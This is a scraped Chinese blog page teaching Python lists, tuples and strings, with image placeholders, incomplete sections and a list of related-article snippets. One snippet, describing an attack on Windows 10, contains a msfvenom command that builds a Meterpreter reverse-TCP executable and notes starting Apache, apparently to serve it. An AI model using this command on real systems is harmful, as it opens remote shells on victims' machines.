python容器

news/2024/4/30 5:29:12/文章来源:https://blog.csdn.net/weixin_45856470/article/details/127138368

1.什么是数据容器:

一种可以存储多个元素Python数据类型

2.Python有哪些数据容器

列表list
元祖tuple
字符串str
集合set
字典dict

一:列表 list

  1. 可以容纳多个元素(上限2**63-1)
  2. 可以容纳不同类型的元素
  3. 数据是有序存储的(索引)
  4. 允许重复数据存在
  5. 可以修改(对内部数据进行增加或删除)

1.列表的定义

在这里插入图片描述

列表一次可以存储多个数据,可以为不同的数据,支持嵌套

# 定义一个列表list
my_list = ['李四','二大爷']
print(my_list)
print(type(my_list))# 定义一个嵌套列表
my_list2 = [[1,3,4],[3,2]]
print(my_list2)
print(type(my_list2))

2. 列表的下标索引

  1. 列表的下标索引是什么?
    列表的每一个元素,都有编号称之为下标索引
    从前向后的方向,编号从0开始递增
    从后向前的方向,编号从-1开始递减
  2. 如何通过下标索引取出对应位置的元素呢? 列表[下标],即可取出
  3. 下标索引的注意事项: • 要注意下标索引的取值范围,超出范围无法取出元素,并且会报错

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

# 通过下标索引取出对应位置的数据  从前向后
my_list3 = ["timi","rose","lisi"]
print(my_list3[2])
# 通过下标索引取出对应位置的数据  从后向前
print(my_list3[-1])
# 取出嵌套列表的元素
my_list4 = [[1,2,3],[2,3,4]]
print(my_list4[0][-1])

3. 列表的常用方法

  1. 查找元素下标 index 只返回最先匹配的元素下标,找不到报错

在这里插入图片描述

# 通过下标索引取出对应位置的数据  从前向后
my_list3 = ["timi","rose","lisi"]
print(my_list3[2])
# 通过下标索引取出对应位置的数据  从后向前
print(my_list3[-1])
# 取出嵌套列表的元素
my_list4 = [[1,2,3],[2,3,4]]
print(my_list4[0][-1])mylist = ["python","java","go","java"]
# 1.查找某元素的下标---返回最开始元素的下标
index =  mylist.index("java");
# 2.修改特定下标索引值
mylist[0] = "不错"
print(f"修改之后为:{mylist}")
# 3.在指定下标位置插入新元素
mylist.insert(1,"插队")
print(f"插入之后为:{mylist}")
# 4.在列表尾部追加“单个元素”
mylist.append("找工作")
#5.在列表尾部追加“一些列元素”
mylist.extend([1,2,3])
print(f"追加后元素为{mylist}")
# 6.删除指定下标索引的元素
# 方式一:
del mylist[1]
# 方式二
mylist.pop(1)
# 7.删除某元素在列表中匹配的第一个匹配项
mylist.remove("java")
# 8.清空列表
mylist.clear()
# 9.统计列表中某些元素的数量
count = mylist.count("找工作")
# 10.统计列表中全部元素数量
len(mylist)

4. 列表的遍历

a. while循环

在这里插入图片描述

b.for in 循环

在这里插入图片描述

二:元祖 tuple

  1. 元祖一旦定义就不能修改

1.元祖的定义

在这里插入图片描述

2.元祖的操作

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.元祖的特点

可以容纳多个不同数据
数据是有序存储
允许重复数据存在
不可以修改
支持for循环

与列表和元组的 不同在于:字符串容器可以容纳的类型是单一的,只能是字符串类型。 不同于列表,相同于元组的在于:字符串不可修改

在这里插入图片描述

在这里插入图片描述

2. 字符串的操作

在这里插入图片描述

注意:strip(字符串)是按照单个字符进行匹配在移除。

在这里插入图片描述

3. 字符串的遍历

在这里插入图片描述

数据容器切片

集合 set

字典 dict

数据容器的通用操作

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17647.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

三维重建经典算法:ICP、ARAP、Marching Cubes、TSDF

😍😍😍更多精彩福利😍😍😍 三维重建经典算法 1. ICP 迭代最近点算法(Iterative Closest Point, ICP)是一种点云配准算法,用来求解两堆点云之间的变换关系:…

MySQL怎么运行的系列(十一)快照读、锁定读、半一致性读 和 加锁语句分析

本系列文章目录展开/收起MySQL怎么运行的系列(一)mysql体系结构和存储引擎MySQL怎么运行的系列(二)Innodb缓冲池 buffer pool 和 改良版LRU算法Mysql怎么运行的系列(三)InnoDB存储结构之行结构和页结构MySQ…

Spring源码分析(四)Bean生命周期源码分析2:合并BeanDefinition、FactoryBean

Spring容器启动,扫描得到所有BeanDefinition之后,就会先实例化所有非懒加载的单例Bean的 入口 Spring容器启动刷新的方法里: org.springframework.context.support.AbstractApplicationContext#refresh org.springframework.context.suppor…

RT-Thread信号量

目录 信号量 信号量基本概念 信号量基本概念 信号量的特性 二值信号量的运作机制 计数型信号量的运作机制 信号量相关接口 信号量控制块、 创建信号量 删除信号量 初始化信号量 脱离信号量 释放信号量 获取信号量 无等待获取信号量 使用场合 线程同步 锁 中断与…

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路,需要外接上拉电阻,而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步,一定是找方向,SaaS产品的北极星指标处于商业目标,用户价值,和战略选择的交点上,且一般落实在功能使用量上。与To C产品的AARRR略有不同,To B SaaS产品驱动增长包含六大杠杆,…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界],获取我的更多笔记分享 大家好,我是极智视界,本文解读一下 Label, Verify, Correct (LVC):一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD),即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com,其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复,翻译成中文csdn说辱华,不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示,平台节点不安装天线,12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果,在浏览器的书签栏增加一个库存监控提醒的按钮,点击该按钮即启动库存监控提醒项目。 项目运行时,自动打开指定的网址,并从事先准备好的txt文件中读取型号,输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…

OPENCV的GUI特性:图像入门

我们先来理解一下什么是GUI特性;一起来学习摘自百度词条的信息: 图形用户界面(Graphical User Interface,简称 GUI,又称图形用户接口)是指采用图形方式显示的计算机操作用户界面。 图形用户界面是一种人与…

模块化:AMD规范

之前在《模块化:CommonJS规范》文中对CMD规范进行了介绍,并给出了服务端和浏览器端基于CommonJS模块化规范构建项目和模块化开发的示例demo。严格来讲,CommonJS这种模块化规范更加适用于服务器端编程,由于是同步的加载方式&#x…

ElasticSearch_02_ElastisSearch的基本语法使用

系列文章目录 文章目录系列文章目录前言一、基本语法使用1.1 _search接口获取所有数据1.2 文档操作插入文档查询文档修改文档查询所有的索引和查询所有的数据删除文档二、各种各样的查询条件2.1 查询所有2.2 值匹配和输出结构按price倒序输出2.3 仅输出需要的数量2.4 仅输出需要…

论文(一):Revisiting multiple instance neural networks

Revisiting multiple instance neural networks 回顾多示例神经网络 1、Abstract ​ 近年来,神经网络和多实例学习(MIL)都是人工智能相关研究领域的热门课题。深度神经网络在监督学习问题上取得了巨大的成功,而MIL作为一种典型的弱监督学习方法&#…

J2EE 知识点总结_上

J2EE 知识点总结_上基础概念数组选择排序 :交换排序 :插入排序面向对象重载(**Overload**)的概念构造器的作用:JavaBean多态性instanceof 操作符操作符与equals方法:包装类(Wrapper)的使用垃圾回收机制关键…

RLE算法机制、缺点及哈夫曼算法和莫尔斯编码

CSDN话题挑战赛第2期 参赛话题:学习笔记 目录 一、RLE算法机制 二、RLE算法的缺点 三、哈夫曼算法和莫尔斯编码 一、RLE算法机制 对 AAAAAABBCDDEEEEEF 这17个半角字符的文件(文本文件)进行压缩。虽然这些文字没有什么实际意义&#xff0…